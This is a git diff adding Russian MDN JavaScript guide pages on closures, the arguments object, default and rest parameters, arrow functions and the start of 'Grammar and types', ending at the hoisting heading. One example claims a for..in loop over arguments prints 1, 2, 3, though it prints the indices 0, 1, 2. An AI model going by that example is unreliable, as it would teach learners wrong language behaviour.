+<p>Вы можете вложить одну функцию в другую. Вложенная функция (<em>nested function</em>;<em> inner</em>) приватная (<em>private</em>) и она помещена в другую функцию (<em>outer</em>). Так образуется <em>замыкание</em> (<em>closure</em>). Closure — это выражение (обычно функция), которое может иметь свободные переменные вместе со средой, которая связывает эти переменые (что "закрывает" (<em>"close"</em>) выражение).</p>
+
+<p>Поскольку вложенная функция это closure, это означает, что вложенная функция может "унаследовать" (<em>inherit</em>) аргументы и переменные функции, в которую та вложена. Другими словами, вложенная функция содержит scope внешней (<em>"outer"</em>) функции.</p>
+
+<p>Подведем итог:</p>
+
+<ul>
+ <li>Вложенная функция имеет доступ ко всем инструкциям внешней функции.</li>
+</ul>
+
+<ul>
+ <li>Вложенная функция формирует closure: она может использовать аргументы и переменные внешней функции, в то время как внешняя функция не может использовать аргументы и переменные вложенной функции.</li>
+</ul>
+
+<p>Следующий пример показывает вложенную функцию:</p>
+
+<pre class="brush: js">function addSquares(a, b) {
+  function square(x) {
+    return x * x;
+  }
+  return square(a) + square(b);
+}
+a = addSquares(2, 3); // возвращает 13
+b = addSquares(3, 4); // возвращает 25
+c = addSquares(4, 5); // возвращает 41
+</pre>
+
+<p>Поскольку вложенная функция формирует closure, Вы можете вызвать внешную функцию и указать аргументы для обоих функций (для outer и innner).</p>
+
+<pre class="brush: js">function outside(x) {
+  function inside(y) {
+    return x + y;
+  }
+  return inside;
+}
+fn_inside = outside(3); // Подумайте над этим: дайте мне функцию,
+                        // который передай 3
+
+result = fn_inside(5); // возвращает 8
+
+result1 = outside(3)(5); // возвращает 8
+</pre>
+
+<h3 id="Сохранение_переменных">Сохранение переменных</h3>
+
+<p>Обратите внимание, значение <code>x</code> сохранилось, когда возвращалось <code>inside</code>. Closure должно сохранять аргументы и переменные во всем scope. Поскольку каждый вызов предоставляет потенциально разные аргументы, создается новый closure для каждого вызова во вне. Память может быть очищена только тогда, когда <code>inside</code> уже возвратился и больше не доступен.</p>
+
+<p>Это не отличается от хранения ссылок в других объектах, но часто менее очевидно, потому что не устанавливаются ссылки напрямую и нельзя посмотреть там.</p>
+
+<h3 id="Несколько_уровней_вложенности_функций_Multiply-nested_functions">Несколько уровней вложенности функций (Multiply-nested functions)</h3>
+
+<p>Функции можно вкадывать несколько раз, т.е. функция (A) хранит в себе функцию (B), которая хранит в себе функцию (C). Обе фукнкции B и C формируют closures, так B имеет доступ к переменным и аргументам A, и C имеет такой же доступ к B. В добавок, поскольку C имеет такой доступ к B, который имеет такой же доступ к A, C ещё имеет такой же доспут к A. Таким образом closures может хранить в себе несколько scope; они рекурсивно хранят scope функций, содержащих его. Это называется <em>chaining</em> (<em>chain — цепь</em>; Почему названо "chaining" будет объяснено позже)</p>
+
+<p>Рассмотрим следующий пример:</p>
+
+<pre class="brush: js">function A(x) {
+  function B(y) {
+    function C(z) {
+      console.log(x + y + z);
+    }
+    C(3);
+  }
+  B(2);
+}
+A(1); // в консоле выведится 6 (1 + 2 + 3)</pre>
+
+<p>В этом примере C имеет доступ к <code>y</code> функции <code>B</code> и к <code>x</code> функции <code>A</code>. Так получается, потому что:</p>
+
+<ol>
+ <li>Функция <code>B</code> формирует closure, включающее <code>A</code>, т.е. <code>B</code> имеет доступ к аргументам и переменным функции <code>A</code>.</li>
+ <li>Функция <code>C</code> формирует closure, включающее <code>B</code>.</li>
+ <li>Раз closure функции <code>B</code> включает <code>A</code>, то closure <code>С</code> тоже включает A, <code>C</code> имеет доступ к аргументам и переменным обоих функций <code>B</code> <em>и</em> <code>A</code>. Другими словами, <code>С</code> cвязывает <em>цепью</em> (<em>chain</em>) scopes функций <code>B</code> и <code>A</code> в таком порядке.</li>
+</ol>
+
+<p>В обратном порядке, однако, это не верно. <code>A</code> не имеет доступ к переменным и аргументам <code>C</code>, потому что <code>A</code> не имеет такой доступ к <code>B</code>. Таким образом, <code>C</code> остается приватным только для <code>B</code>.</p>
+
+<h3 id="Конфликты_имен_Name_conflicts">Конфликты имен (Name conflicts)</h3>
+
+<p>Когда два аргумента или переменных в scope у closure имеют одинаковые имена, происходит <em>конфликт имени</em> (<em>name conflict</em>). Более вложенный (<em>more inner</em>) scope имеет приоритет, так самый вложенный scope имеет наивысший приоритет, и наоборот. Это цепочка областей видимости (<em>scope chain</em>). Самым первым звеном является самый глубокий scope, и наоборот. Рассмотрим следующие:</p>
+
+<pre class="brush: js">function outside() {
+  var x = 5;
+  function inside(x) {
+    return x * 2;
+  }
+  return inside;
+}
+
+outside()(10); // возвращает 20 вместо 10</pre>
+
+<p>Конфликт имени произошел в инструкции <code>return x * 2</code> между параметром <code>x</code> функции <code>inside</code> и переменной <code>x</code> функции <code>outside</code>. Scope chain здесь будет таким: {<code>inside</code> ==&gt; <code>outside</code> ==&gt; глобальный объект (<em>global object</em>)}. Следовательно <code>x</code> функции <code>inside</code> имеет больший приоритет по сравнению с <code>outside</code>, и нам вернулось 20 (= 10 * 2), а не 10 (= 5 * 2).</p>
+
+<h2 id="Замыкания"><a id="definition" name="definition"></a>Замыкания</h2>
+
+<p><em><u>(Closures)</u></em></p>
+
+<p>Closures это один из главных особенностей JavaScript. JavaScript разрешает вложенность функций и предоставляет вложенной функции полный доступ ко всем переменным и функциям, объявленным внутри внешней функции (и другим переменным и функцим, к которым имеет доступ эта внешняя функция).</p>
+
+<p>Однако, внешняя функция не имеет доступа к переменным и функциям, объявленным во внутренней функции. Это обеспечивает своего рода инкапсуляцию для переменных внутри вложенной функции.</p>
+
+<p>Также, поскольку вложенная функция имеет доступ к scope внешней функции, переменные и функции, объявленные во внешней функции, будет продолжать существовать и после её выполнения для вложенной функции, если на них и на неё сохранился доступ (имеется ввиду, что переменные, объявленные во внешней функции, сохраняются, только если внутренняя функция обращается к ним).</p>
+
+<p>Closure создается, когда вложенная функция как-то стала доступной в неком scope вне внешней функции.</p>
+
+<pre class="brush: js">var pet = function(name) {   // Внешняя функция объявила переменную "name"
+  var getName = function() {
+    return name;             // Вложенная функция имеет доступ к "name" внешней функции
+  }
+  return getName;            // Возвращаем вложенную функцию, тем самым сохраняя доступ
+                             // к ней для другого scope
+}
+myPet = pet('Vivie');
+
+myPet();                     // Возвращается "Vivie",
+                             // т.к. даже после выполнения внешней функции
+                             // name сохранился для вложенной функции
+</pre>
+
+<p>Более сложный пример представлен ниже. Объект с методами для манипуляции вложенной функции внешней функцией можно вернуть (<em>return</em>).</p>
+
+<pre class="brush: js">var createPet = function(name) {
+  var sex;
+
+  return {
+    setName: function(newName) {
+      name = newName;
+    },
+
+    getName: function() {
+      return name;
+    },
+
+    getSex: function() {
+      return sex;
+    },
+
+    setSex: function(newSex) {
+      if(typeof newSex === 'string' &amp;&amp; (newSex.toLowerCase() === 'male' ||
+        newSex.toLowerCase() === 'female')) {
+        sex = newSex;
+      }
+    }
+  }
+}
+
+var pet = createPet('Vivie');
+pet.getName();                  // Vivie
+
+pet.setName('Oliver');
+pet.setSex('male');
+pet.getSex();                   // male
+pet.getName();                  // Oliver</pre>
+
+<p>В коде выше переменная <code>name</code> внешней функции доступна для вложенной функции, и нет другого способа доступа к вложенным переменным кроме как через вложенную функцию. Вложенные переменные вложенной функции являются безопасными хранилищами для внешних аргументов и переменных. Они содержат "постоянные" и "инкапсулированные" данные для работы с ними вложенными функциями. Функции даже не должны присваиваться переменной или иметь имя.</p>
+
+<pre class="brush: js">var getCode = (function() {
+  var apiCode = '0]Eal(eh&amp;2'; // A code we do not want outsiders to be able to modify...
+
+  return function() {
+    return apiCode;
+  };
+}());
+
+getCode();    // Returns the apiCode
+</pre>
+
+<p>Однако есть ряд подводных камней, которые следует учитывать при использовании замыканий. Если закрытая функция определяет переменную с тем же именем, что и имя переменной во внешней области, нет способа снова ссылаться на переменную во внешней области.</p>
+
+<pre class="brush: js">var createPet = function(name) {  // The outer function defines a variable called "name".
+  return {
+    setName: function(name) {    // The enclosed function also defines a variable called "name".
+      name = name;               // How do we access the "name" defined by the outer function?
+    }
+  }
+}
+</pre>
+
+<h2 id="Использование_объекта_arguments"><a id="definition" name="definition"></a>Использование объекта arguments</h2>
+
+<p>Объект arguments функции является псевдо-массивом. Внутри функции Вы можете ссылаться к аргументам следующим образом:</p>
+
+<pre class="brush: js">arguments[i]
+</pre>
+
+<p>где <code>i</code> — это порядковый номер аргумента, отсчитывающийся с 0. К первому аргументу, переданному функции, обращаются так <code>arguments[0]</code>. А получить количество всех аргументов — <code>arguments.length</code>.</p>
+
+<p>С помощью объекта <code>arguments</code> Вы можете вызвать функцию, передавая в неё больше аргументов, чем формально объявили принять. Это очень полезно, если Вы не знаете точно, сколько аргументов должна принять Ваша функция. Вы можете использовать <code>arguments.length</code> для определения количества аргументов, переданных функции, а затем получить доступ к каждому аргументу, используя объект <code>arguments</code>.</p>
+
+<p>Для примера рассмотрим функцию, которая конкатенирует несколько строк. Единственным формальным аргументом для функции будет строка, которая указывает символы, которые разделяют элементы для конкатенации. Функция определяется следующим образом:</p>
+
+<pre class="brush: js">function myConcat(separator) {
+   var result = '';
+   var i;
+
+   // iterate through arguments
+   for (i = 1; i &lt; arguments.length; i++) {
+      result += arguments[i] + separator;
+   }
+   return result;
+}</pre>
+
+<p>Вы можете передавать любое количество аргументов в эту функцию, и он конкатенирует каждый аргумент в одну строку.</p>
+
+<pre class="brush: js">// возвращает "red, orange, blue, "
+myConcat(', ', 'red', 'orange', 'blue');
+
+// возвращает "elephant; giraffe; lion; cheetah; "
+myConcat('; ', 'elephant', 'giraffe', 'lion', 'cheetah');
+
+// возвращает "sage. basil. oregano. pepper. parsley. "
+myConcat('. ', 'sage', 'basil', 'oregano', 'pepper', 'parsley');
+</pre>
+
+<p>Т.к. <code>arguments</code> является псевдо-массивом, к нему применимы некоторые методы массивов, например, for .. in</p>
+
+<pre>function func() {
+  for (value in arguments){
+    console.log(value);
+  }
+}
+
+func(1, 2, 3);
+// 1
+// 2
+// 3
+</pre>
+
+<div class="note">
+<p><strong>Примечание:</strong> <code>arguments</code> является псевдо-массивом, но не массивом. Это псевдо-массив, в котором есть пронумерованные индексы и свойство <code>length</code>. Однако он не обладает всеми методами массивов.</p>
+</div>
+
+<p>Рассмотрите объект <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Function" title="The Function constructor creates a new Function object. Calling the constructor directly can create functions dynamically, but suffers from security and similar (but far less significant) performance issues similar to eval. However, unlike eval, the Function constructor allows executing code in the global scope, prompting better programming habits and allowing for more efficient code minification.">Function</a></code> в JavaScript-справочнике для большей информации.</p>
+
+<h2 id="Параметры_функции"><a id="definition" name="definition"></a>Параметры функции</h2>
+
+<p>Начиная с ECMAScript 2015 появились два новых вида параметров: параметры по умолчанию (<em>default parameters</em>) и оставшиеся параметры (<em>rest parameters</em>).</p>
+
+<h3 id="Параметры_по_умолчанию_Default_parameters">Параметры по умолчанию (Default parameters)</h3>
+
+<p>В JavaScript параметры функции по умолчанию имеют значение <code>undefined</code>. Однако в некоторых ситуация может быть полезным поменять значение по умолчанию. В таких случаях default parameters могут быть весьма кстати.</p>
+
+<p>В прошлом для этого было необходимо в теле функции проверять значения параметров на <code>undefined</code> и в положительном случае менять это значение на дефолтное (<em>default</em>). В следующем примере в случае, если при вызове не предоставили значение для <code>b</code>, то этим значением станет <code>undefined</code>, тогда результатом вычисления <code>a * b</code> в функции <code>multiply</code> будет <code>NaN</code>. Однако во второй строке мы поймаем это значение:</p>
+
+<pre class="brush: js">function multiply(a, b) {
+  b = typeof b !== 'undefined' ?  b : 1;
+
+  return a * b;
+}
+
+multiply(5); // 5</pre>
+
+<p>С параметрами по умолчанию проверка наличия значения параметра в теле функции не нужна. Теперь Вы можете просто указать значение по умолчанию для параметра <code>b</code> в объявлении функции:</p>
+
+<pre class="brush: js">function multiply(a, b = 1) {
+  return a * b;
+}
+
+multiply(5); // 5</pre>
+
+<p>Для более детального рассмотрения ознакомьтесь с <a href="/ru/docs/Web/JavaScript/Reference/Functions/Default_parameters">параметрами по умолчанию</a>.</p>
+
+<h3 id="Оставшиеся_параметры_Rest_parameters">Оставшиеся параметры (Rest parameters)</h3>
+
+<p><a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">Оставшиеся параметры</a> предоставляют нам массив неопределенных аргументов. В примере мы используем оставшиеся параметры, чтобы собрать аргументы с индексами со 2-го до последнего. Затем мы умножим каждый из них на значение первого аргумента. В этом примере используется стрелочная функция (<u><em><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Arrow functions</a>)</em></u>, о которой будет рассказано в следующей секции.</p>
+
+<pre class="brush: js">function multiply(multiplier, ...theArgs) {
+  return theArgs.map(x =&gt; multiplier * x);
+}
+
+var arr = multiply(2, 1, 2, 3);
+console.log(arr); // [2, 4, 6]
+</pre>
+
+<h2 id="Стрелочные_функции"><a id="definition" name="definition"></a>Стрелочные функции</h2>
+
+<p><u><em>(Arrow functions)</em></u></p>
+
+<p><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Стрелочные функции</a> — функции вида "arrow function expression" (неверно <strong>fat arrow function</strong>) — имеют укороченный ситаксис по сравнению с function expression и лексически связывает значение <code>this</code>. Стрелочные функции всегда анонимны. Посмотрите также пост блога hacks.mozilla.org "<a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/" rel="noopener">ES6 In Depth: Arrow functions</a>".</p>
+
+<p>На введение стрелочных функций повлияли два фактора: более короткие функции и лексика <code>this</code>.</p>
+
+<h3 id="Более_короткие_функции">Более короткие функции</h3>
+
+<p>В некоторых функциональных паттернах приветствуется использование более коротких функций. Сравните:</p>
+
+<pre class="brush: js">var a = [
+  'Hydrogen',
+  'Helium',
+  'Lithium',
+  'Beryllium'
+];
+
+var a2 = a.map(function(s) { return s.length; });
+
+console.log(a2); // logs [8, 6, 7, 9]
+
+var a3 = a.map(s =&gt; s.length);
+
+console.log(a3); // logs [8, 6, 7, 9]</pre>
+
+<h3 id="Лексика_this">Лексика <code>this</code></h3>
+
+<p>До стрелочных функций каждая новая функция определяла свое значение <code>this</code> (новый объект в случае конструктора, undefined в strict mode,  контекстный объект, если функция вызвана как метод объекта, и т.д.).  Это оказалось раздражающим с точки зрения объектно-орентированного стиля программирования.</p>
+
+<pre class="brush: js">function Person() {
+  // Конструктор Person() определяет `this` как самого себя.
+  this.age = 0;
+
+  setInterval(function growUp() {
+    // Без strict mode функция growUp() определяет `this`
+    // как global object, который отличается от `this`
+    // определенного конструктором Person().
+    this.age++;
+  }, 1000);
+}
+
+var p = new Person();</pre>
+
+<p>В ECMAScript 3/5 эта проблема была исправлена путем присвоения значения <code>this</code> переменной, которую можно было бы замкнуть.</p>
+
+<pre class="brush: js">function Person() {
+  var self = this; // Некоторые выбирают `that` вместо `self`.
+                   // Выберите что-то одно и будьте последовательны.
+  self.age = 0;
+
+  setInterval(function growUp() {
+    // The callback refers to the `self` variable of which
+    // the value is the expected object.
+    self.age++;
+  }, 1000);
+}</pre>
+
+<p>Альтернативой может быть <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">связанная функция</a> (<em>bound function</em>), с которой можно правильно вручную определить значение <code>this</code> для функции <code>growUp()</code>.</p>
+
+<p>В arrow function значением <code>this</code> является окружающий его контекст, так следующий код работает ожидаемо:</p>
+
+<pre class="brush: js">function Person() {
+  this.age = 0;
+
+  setInterval(() =&gt; {
+    this.age++; // |this| должным образом ссылается на объект Person
+  }, 1000);
+}
+
+var p = new Person();
+
+</pre>
+
+<h2 id="Далее">Далее</h2>
+
+<p>Подробное техническое описание функций в статье справочника {{jsxref("Functions","Функции")}}</p>
+
+<p>Смотрите также <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function" title="en-US/docs/JavaScript/Reference/Global Objects/Function"><code>Function</code></a> в Справочнике JavaScript для получения дополнительной информации по функции как объекту.</p>
+
+<p>Внешние ресурсы:</p>
+
+<ul>
+ <li><a href="http://www.ecma-international.org/ecma-262/6.0/index.html#sec-ecmascript-function-objects">ECMAScript® 2015 Language Specification</a></li>
+ <li><a href="https://learn.javascript.ru/closures">Учебник по Javascript - замыкания</a></li>
+</ul>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Loops_and_iteration", "Web/JavaScript/Guide/Expressions_and_Operators")}}</p>
diff --git a/files/ru/web/javascript/guide/grammar_and_types/index.html b/files/ru/web/javascript/guide/grammar_and_types/index.html
new file mode 100644
index 0000000000..6618946fbb
--- /dev/null
+++ b/files/ru/web/javascript/guide/grammar_and_types/index.html
@@ -0,0 +1,642 @@
+---
+title: Грамматика и типы
+slug: Web/JavaScript/Guide/Grammar_and_types
+tags:
+  - JavaScript
+  - Руководство
+translation_of: Web/JavaScript/Guide/Grammar_and_types
+---
+<p>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Introduction", "Web/JavaScript/Guide/Control_flow_and_error_handling")}}</p>
+
+<div class="summary">
+<p>В данной главе рассматриваются базовая грамматика, объявление переменных, типы данных и литералы.</p>
+</div>
+
+<h2 id="Основы">Основы</h2>
+
+<p>JavaScript заимствует большую часть синтаксиса из Java, но также испытал влияние таких языков, как Awk, Perl и Python.</p>
+
+<p>JavaScript <strong>чувствителен к регистру</strong> и использует кодировку символов <strong>Unicode</strong>. Например, слово Früh ("рано" по-немецки) может использоваться в качестве имени переменной.</p>
+
+<pre class="brush: js">var Früh = "foobar";</pre>
+
+<p>Но, переменная <code>früh</code> не то же самое что <code>Früh</code> потому что JavaScript чувствителен к регистру.</p>
+
+<p>В JavaScript инструкции называются {{Glossary("Statement", "statements")}} и разделяются точкой с запятой (;). Пробел (space), табуляция (tab) и перевод строки (newline) называются пробельными символами (whitespace). Исходный текст скриптов на JavaScript сканируется слева направо и конвертируется в последовательность входных элементов, являющихся токенами (tokens), управляющими символами, символами конца строки, комментариями или пробельными символами. ECMAScript также определяет некоторые ключевые слова и литералы и устанавливает правила для автоматической вставки точек с запятой (<a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">ASI</a>), чтобы обозначить конец инструкций (statements). Однако, рекомендуется всегда ставить точку с запятой в конце каждой инструкции вручную, чтобы избежать побочных эффектов. Чтобы получить более подробную информацию, прочитайте <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Lexical_grammar">Lexical Grammar</a>.</p>
+
+<h2 id="Комментарии">Комментарии</h2>
+
+<p>Синтаксис <strong>комментариев</strong> является таким же, как и в C++ и во многих других языках:</p>
+
+<pre class="brush: js  language-js" style="margin-top: 0px; margin-bottom: 20px; padding: 1em 0px 1em 30px; border-width: 0px 0px 0px 6px; border-left-style: solid; font-family: Consolas, Monaco, 'Andale Mono', monospace; font-size: 14px; line-height: 19px; color: rgb(77, 78, 83); overflow: auto; direction: ltr; white-space: normal; position: relative; text-shadow: none; background: 50% 0% rgb(250, 251, 252);"><code class="language-js" style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-weight: inherit; font-family: Consolas, Monaco, 'Andale Mono', monospace; direction: ltr; white-space: pre; text-shadow: none;"><span class="comment token" style="border: 0px; color: #708090; display: inherit; margin: 0px; padding: 0px;">// Комментарий, занимающий одну строку.
+</span>
+<span class="comment token" style="border: 0px; color: #708090; display: inherit; margin: 0px; padding: 0px;">/* Комментарий,
+   занимающий несколько строк.
+ */</span>
+
+<span class="comment token" style="border: 0px; color: #708090; display: inherit; margin: 0px; padding: 0px;">/* Нельзя вкладывать /* комментарий в комментарий */</span> SyntaxError <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); border: 0px; color: #a67f59; margin: 0px; padding: 0px;">*</span><span class="operator token" style="background: rgba(255, 255, 255, 0.498039); border: 0px; color: #a67f59; margin: 0px; padding: 0px;">/</span></code></pre>
+
+<h2 id="Объявления">Объявления</h2>
+
+<p>В JavaScript существует три вида объявлений:</p>
+
+<dl>
+ <dt><strong style="font-weight: bold;">{{jsxref("Statements/var", "var")}}</strong></dt>
+ <dd>Объявляет переменную, инициализация переменной значением является необязательной.</dd>
+ <dt><strong style="font-weight: bold;">{{jsxref("Statements/let", "let")}}</strong></dt>
+ <dd>Объявляет локальную переменную в области видимости блока, инициализация переменной значением является необязательной.</dd>
+ <dt><strong style="font-weight: bold;">{{jsxref("Statements/const", "const")}}</strong></dt>
+ <dd>Объявляет именованную константу, доступную только для чтения.</dd>
+</dl>
+
+<h3 id="Переменные">Переменные</h3>
+
+<p>Вы можете использовать переменные как символические имена для значений в вашем приложении. Имена переменных называются {{Glossary("Identifier", "identifiers")}} и должны соответствовать определенным правилам.</p>
+
+<p>Идентификатор в JavaScript должен начинаться с буквы, нижнего подчеркивания (_) или знака доллара ($); последующие символы могут также быть цифрами (0-9). Поскольку JavaScript чувствителен к регистру, буквы включают символы от "A" до "Z" (верхний регистр) и символы от "a" до "z" (нижний регистр).</p>
+
+<p>Вы можете использовать в идентификаторах буквы ISO 8859-1 или Unicode, например, å или ü. Вы также можете использовать<a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Lexical_grammar#String_literals"> управляющие последовательности Unicode</a> как символы в идентификаторах.</p>
+
+<p>Некоторые примеры корректных имен: <code style="font-style: normal;">Number_hits</code>, <code style="font-style: normal;">temp99</code>,  <code style="font-style: normal;">_name</code>.</p>
+
+<h3 id="Объявление_переменных">Объявление переменных</h3>
+
+<p>Вы можете объявить переменную тремя способами:</p>
+
+<ul>
+ <li>Используя ключевое слово {{jsxref("Statements/var", "var")}}. Например, <code>var x = 42</code>. Данный синтаксис может быть использован для объявления как локальных, так и глобальных переменных.</li>
+ <li>Просто присвоить переменной значение. Например, <code>x = 42</code>. Переменные, объявленные данным способом, являются глобальными. Такое объявление генерирует <a href="/ru/docs/Web/JavaScript/Reference/Strict_mode">строгое предупреждение</a>  (<a href="/ru/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>). Не рекомендуется использовать данный способ.</li>
+ <li>Используя ключевое слово {{jsxref("Statements/let", "let")}}. Например, <code>let y = 13</code>. Данный синтаксис может быть использован для объявления локальной переменной в области видимости блока.</li>
+</ul>
+
+<h3 id="Присваивание_значений">Присваивание значений</h3>
+
+<p>Переменная, объявленная через <code>var</code> или <code>let</code> без присвоения начального значения, имеет значение {{jsxref("undefined")}}.</p>
+
+<p>При попытке доступа к необъявленной переменной или переменной до её объявления будет выброшено исключение {{jsxref("ReferenceError")}}:​</p>
+
+<pre class="brush: js">var a;
+console.log("The value of a is " + a); //Значение переменной a undefined
+
+console.log("The value of b is " + b); //Uncaught ReferenceError: b не определена
+
+console.log("The value of c is " + c); //Значение переменной c undefined
+var c;
+
+console.log("The value of x is " + x); //Uncaught ReferenceError: x не определена
+let x; </pre>
+
+<p>Вы можете использовать <code>undefined</code>, чтобы определить, имеет ли переменная значение. В следующем примере переменной <code>input</code> не присвоено значение, и оператор <code>if</code> будет вычислен как <code>true</code>:</p>
+
+<pre class="brush: js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> input<span class="punctuation token" style="color: #999999;">;</span>
+<span class="keyword token" style="color: #0077aa;">if </span><span class="punctuation token" style="color: #999999;">(</span>input <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">===</span> undefined<span class="punctuation token" style="color: #999999;">) </span><span class="punctuation token" style="color: #999999;">{</span>
+  <span class="function token" style="color: #dd4a68;">doThis<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>
+<span class="punctuation token" style="color: #999999;">}</span> <span class="keyword token" style="color: #0077aa;">else</span> <span class="punctuation token" style="color: #999999;">{</span>
+  <span class="function token" style="color: #dd4a68;">doThat<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>
+<span class="punctuation token" style="color: #999999;">}</span></code></pre>
+
+<p>Значение <code>undefined</code> ведет себя как <code>false</code>, когда используется в логическом контексте. Например, следующий код выполняет функцию <code>myFunction</code>, т.к. элемент <code>myArray</code> не определен:</p>
+
+<pre class="brush: js  language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> myArray <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="punctuation token" style="color: #999999;">[</span><span class="punctuation token" style="color: #999999;">]</span><span class="punctuation token" style="color: #999999;">;</span>
+<span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">(</span><span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">!</span>myArray<span class="punctuation token" style="color: #999999;">[</span><span class="number token" style="color: #990055;">0</span><span class="punctuation token" style="color: #999999;">]</span><span class="punctuation token" style="color: #999999;">)</span> {
+<span class="function token" style="color: #dd4a68;">  myFunction<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>
+</code>}
+</pre>
+
+<p>Значение <code>undefined</code> конвертируется в <code>NaN</code>, когда используется в числовом контексте:</p>
+
+<pre class="brush: js  language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> a<span class="punctuation token" style="color: #999999;">;</span>
+a <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> <span class="number token" style="color: #990055;">2</span></code><code class="language-js" style="direction: ltr; white-space: pre;"><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;"> // NaN</span></code></pre>
+
+<p>Значение {{jsxref("null")}} ведет себя как 0 в числовом контексте и как <code>false</code> в логическом контексте:</p>
+
+<pre class="brush: js  language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> n <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="keyword token" style="color: #0077aa;">null</span><span class="punctuation token" style="color: #999999;">;</span>
+console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>n <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">*</span> <span class="number token" style="color: #990055;">32</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;"> // В консоль выведется 0</span></code></pre>
+
+<h3 id="Область_видимости_переменных">Область видимости переменных</h3>
+
+<p>Когда вы объявляете переменную вне функции, то такая переменная называется <em>глобальной</em> переменной, т.к. доступна любому коду в текущем документе. Когда вы объявляете переменную внутри функции, то такая переменная называется <em>локальной</em> переменной, т.к. доступна только внутри данной функции.</p>
+
+<p>До ECMAScript 6 в JavaScript отсутствовала область видимости <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Statements">блока</a>; переменная, объявленная внутри блока, является локальной для <em><strong>функции </strong></em>(или <em>глобальной</em> области видимости), внутри которой находится данный блок. Например, следующий код выведет значение 5, т.к. областью видимости переменной <code>x</code> является функция (или глобальный контекст), внутри которой объявлена переменная <code>x</code>, а <em><strong>не блок</strong>,</em> которым в данном случае является оператор <code>if</code>:</p>
+
+<pre class="brush: js  language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">(</span><span class="keyword token" style="color: #0077aa;">true</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span>
+  <span class="keyword token" style="color: #0077aa;">var</span> x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="number token" style="color: #990055;">5</span><span class="punctuation token" style="color: #999999;">;</span>
+<span class="punctuation token" style="color: #999999;">}</span>
+console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>x<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="punctuation token"> </span><span class="comment token" style="color: #708090;">// 5</span></code></pre>
+
+<p>Такое поведение меняется, если используется оператор <code>let</code>, введенный в ECMAScript 6:</p>
+
+<pre class="brush: js  language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">(</span><span class="keyword token" style="color: #0077aa;">true</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span>
+  <span class="keyword token" style="color: #0077aa;">let</span> y <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="number token" style="color: #990055;">5</span><span class="punctuation token" style="color: #999999;">;</span>
+<span class="punctuation token" style="color: #999999;">}</span>
+console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>y<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="punctuation token"> </span><span class="comment token" style="color: #708090;">// ReferenceError</span></code></pre>
+
+<h3 id="Поднятие_переменных">Поднятие переменных</h3>
+
